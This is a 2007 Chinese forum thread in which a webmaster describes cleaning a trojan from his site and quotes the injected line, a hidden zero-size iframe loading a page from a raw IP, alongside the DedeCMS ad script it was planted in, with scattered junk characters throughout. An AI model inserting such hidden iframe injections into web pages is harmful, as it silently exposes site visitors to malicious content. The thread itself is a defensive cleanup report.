webmasterz.cn的木馬已經差不多被我搞定了 講解一個停放EMU方法

請大家再去幫我複查下，看還有沒木馬，另外前年的教程已經免費發佈上去了，自己去下或者看。
: S# k# K, w2 J8 g3 o% A
掛馬的人不是專業黑客，是搞這行的，把我的JS裡加了個這個

- z& E2 O+ }3 Q2 ]& pdocument.write("<iframe src=http://58.211.79.107/xs.htm?88 width=0 height=0></iframe>");
& J# p8 |3 A# w: f$ o4 s6 N. I<?php
require(dirname(__FILE__)."/../include/config_base.php");
$aid = ereg_replace("[^0-9]","",$aid);
$dsql = new DedeSql(false);
: m$ a2 U( \( f. I( b8 |$row = $dsql->GetOne("Select * From [email=#@__myad]#@__myad[/email] where aid='$aid'");
$dsql->Close();
if($row['timeset']==0) $adbody = $row['normbody'];
( ]( ^! w  [! M: Lelse{
$ntime = mytime();
if($ntime>$row['endtime']||$ntime<$row['starttime']){ $adbody = $row['expbody']; }
else{ $adbody = $row['normbody']; }
8 w. K; Y# ~' K0 o! R4 N- T6 C}
$adbody = str_replace('"','\"',$adbody);
$adbody = str_replace("\r","\\r",$adbody);
9 F; c3 V" L( \$adbody = str_replace("\n","\\n",$adbody);
echo "<!--\r\n";
echo "document.write(\"{$adbody}\");\r\n";
echo "-->\r\n";
?>
* D9 B! k5 w8 E; |2 N7 X
! u& ]2 U; I" V% F# Y2 ]
自己看第一行 根據這個去找他到底想幹什麼吧 其實意圖很明顯的，一是玩計數器，二是做停放

國內的停放？

嗯，不錯，恭喜！

靜水老大厲害.

查到就好啦:cool:

這些人沒意思曬。或許是眼紅，

老大還是反應很迅速的，一下就發現了，沒有要我賺到2000論壇幣

原帖由 ommofans 於 2007-10-30 10:24 發表
老大還是反應很迅速的，一下就發現了，沒有要我賺到2000論壇幣

& }8 y9 x  n% G+ P+ z, p6 E; c: 以後得抓緊啦

: 以後你放我報告。來賺幣。